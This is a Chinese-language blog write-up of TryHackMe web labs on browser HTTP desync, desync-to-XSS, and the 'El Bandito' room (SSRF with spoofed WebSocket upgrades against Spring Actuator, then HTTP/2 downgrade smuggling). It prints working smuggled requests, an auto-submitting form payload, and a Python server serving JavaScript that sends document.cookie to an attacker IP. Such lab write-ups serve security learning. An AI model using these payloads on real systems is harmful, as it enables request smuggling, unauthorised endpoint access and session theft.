       self.protocol_version = "HTTP/1.1"
       self.send_response(101)
       self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

前端用的 Payload 如下

1
2
3
4
5
6
7
8
9
GET /check-url?server=http://10.11.141.2:5555 HTTP/1.1
Host: 10.10.12.34:8002
Sec-WebSocket-Version: 13
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==

GET /flag HTTP/1.1
Host: 10.10.12.34:8002

推荐阅读

HTTP Browser Desync

利用 HTTP Keep-Alive 特性,一个请求不会实际上关闭这个连接,在一个 POST 请求后面拼接一些构造好的请求。

https://tryhackme-images.s3.amazonaws.com/user-uploads/63c131e50a24c3005eb34678/room-content/298d76a6f0bdc20abdd69a78516f1a46.png

具体场景的我不太清楚怎么做,但是在下一个 Task 带着我们做了这一点,在页面刷新之后会跳转到构造好的那个端点里面。

这个是用来测试网页是否存在去同步漏洞的 Payload。

1
2
3
4
5
fetch('http://MACHINE_IP:5000/', {
    method: 'POST',
    body: 'GET /redirect HTTP/1.1\r\nFoo: x',
    mode: 'cors',
})

就相当于下一条请求是请求 /redirect 这个 URL。不管实际上请求的是啥,具体的 HTTP 包可以看上面👆那个图。

HTTP 浏览器去同步漏洞链 XSS

Payload 如下

1
2
3
4
5
6
7
8
<form id="btn" action="http://challenge.thm/"
    method="POST"
    enctype="text/plain">
<textarea name="GET http://YOUR_IP HTTP/1.1
AAA: A">placeholder1</textarea>
<button type="submit">placeholder2</button>
</form>
<script> btn.submit() </script>

注意这里 enctype 是 text/plain,他会将表单字段的 name 属性和 value 属性原样拼接,并且使用换行符 (\r\n) 作为不同字段之间的分隔符。然后实际的请求体是:

1
GET http://YOUR_IP HTTP/1.1\r\nAAA: A=placeholder1

页面加载之后,这个表单会自动提交,无须用户点击。

挑战

给了我们一个页面,其实这个可以直接用 XSS 偷出来,但是题目给的 wp 是用了去同步 + XSS,下面是用到的一些 Payload。

前端用的 XSS

1
2
3
4
5
6
7
8
<form id="btn" action="http://challenge.thm/"
    method="POST"
    enctype="text/plain">
<textarea name="GET http://10.11.141.2:1337 HTTP/1.1
AAA: A">placeholder1</textarea>
<button type="submit">placeholder2</button>
</form>
<script> btn.submit() </script>

发送 Payload 的服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python3
from http.server import BaseHTTPRequestHandler, HTTPServer

class ExploitHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/':
            self.send_response(200)
            self.send_header("Access-Control-Allow-Origin", "*")
            self.send_header("Content-type","text/html")

            self.end_headers()
            self.wfile.write(b"fetch('http://10.11.141.2:8080/' + document.cookie)")

def run_server(port=1337):   
    server_address = ('', port)
    httpd = HTTPServer(server_address, ExploitHandler)
    print(f"Server running on port {port}")
    httpd.serve_forever()

if __name__ == '__main__':
    run_server()

El Bandito

技术点:Spring 薄弱点 + WebSocket 伪造 + HTTP/2 降级 HTTP/1.1 利用

信息收集阶段

1
nmap -sC -sV -p 22,80,631,8080 elbandito.thm

80 端口打不开,其实是 https 这里学到了可以通过指定端口号再加 -sC 探测服务

1
nmap -sC -sV -p 22,80,631,8080 elbandito.thm

631 有一个 cups 服务器,这个实际上一点用都没有,还以为切入点在这里

8080 是一个 web 服务器。网页里面有请求发起 websocket 连接,但是返回失败。然后图标是一个 Spring 的图标。

Step 1

从这里 http://10.10.138.222:8080/services.html

发现两个域名,加进 hosts

  • bandito.websocket.thm
  • bandito.public.thm

实际上这个一点用都没有,查看页面源代码里面发现看到他是请求一个 isOnline 的接口,这里我们是不是可以想到 SSRF 呢,先本地搭一个服务端,url 填进去测试 ok。然后试试能不能伪造 WebSocket 升级成功的消息,同样可以。

找切入点

通过 Gobuster 遍历出来了一堆目录,但是没有什么有效信息,但是通过这个网页给了我一点启发。

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/spring-actuators.html

Spring 有可以拿到信息的接口,但是有些地方是不允许访问的,我觉得是加了来源 IP 验证之类的机制,有下面这些:

  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, and /heapdump.

有了目标之后,就可以利用 SSRF 去伪造 WebSocket 升级,然后利用去访问受限制的端点。

1
2
3
4
5
6
7
8
9
GET //isOnline?url=http://10.11.141.2:5555 HTTP/1.1
Host: bandito.websocket.thm:8080
Sec-WebSocket-Version: 13
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==

GET /env HTTP/1.1
Host: bandito.websocket.thm:8080

发现 /admin-creds/admin-flag ,顺利拿到第一关的 flag 和第二关的入口。

补充

在 Spring 应用程序中,/trace 端点通常与 Spring Boot Actuator 模块相关联。它的主要作用是提供对最近 HTTP 请求的追踪信息。

/trace 端点的作用

当 Spring Boot Actuator 的 /trace 端点被启用并暴露时,访问这个路径会返回一个 JSON 格式的列表,其中包含了应用程序最近处理过的 HTTP 请求的详细信息。这些信息通常包括:

  • 请求方法 (e.g., GET, POST)

  • 请求路径 (e.g., /api/users)

  • 请求头 (Headers)

  • 响应头 (Headers)

  • HTTP 状态码 (e.g., 200 OK, 404 Not Found)

  • 请求时间戳

  • 请求耗时

Step 2

注意这一关是 https 的 80 端口,登录进去之后发现是一个聊天室应用,刚开始尝试 XSS 都被 SOP 拦了,后面看了一下 wp 才知道,这个是利用 HTTP/2 可能兼容 HTTP/1.1 的机制。一个端口可以支持 HTTP/2 也可以支持 HTTP/1.1,然后利用页面上的一些可以回显或者存储的地方,把别人的请求头偷出来。

我的 Payload 如下,注意取消掉那个更新 Content-Length,刚开始发现 Content-Length 太小了没抓到想要的信息,后面改大了点成功拿下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
POST /send_message HTTP/2
Host: bandito.public.thm:80
Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.aIiNBQ.wx3IENsjmSyGaWrE0mUIZaP8Tq4
Content-Length: 0
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Origin: https://bandito.public.thm:80
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://bandito.public.thm:80/messages
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

POST /send_message HTTP/1.1
Host: bandito.public.thm:80
Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.aIiNBQ.wx3IENsjmSyGaWrE0mUIZaP8Tq4
Content-Length: 700
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Origin: https://bandito.public.thm:80
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://bandito.public.thm:80/messages
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

data=

data= 后面不要有任何数据。

其他

其实这个房间好奇怪,我发现他用了 HTTP/2 但是那些伪头一个都没用,然后他这种 HTTP2 和 HTTP1.1 混在一个包里面发,我很好奇他实际发出去的数据包是什么样的,看 burp 中的 hex 格式,里面分隔也用的是 0d 0a ,或许要用 Wireshark 抓包才能看到实际的数据包格式。

这章总体来说难度不高,但是还是挺考验之前 Rooms 所学到的东西的。光研究这一个 Room 我的一个下午就没了,不过也把 WAP 结束了。

不过发现了一个有用的网站:https://book.hacktricks.wiki/ 里面有很多针对不同应用的思路,挺好的

本文作者:Recopec
本文链接:https://blog.irec.moe/thm_wap.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可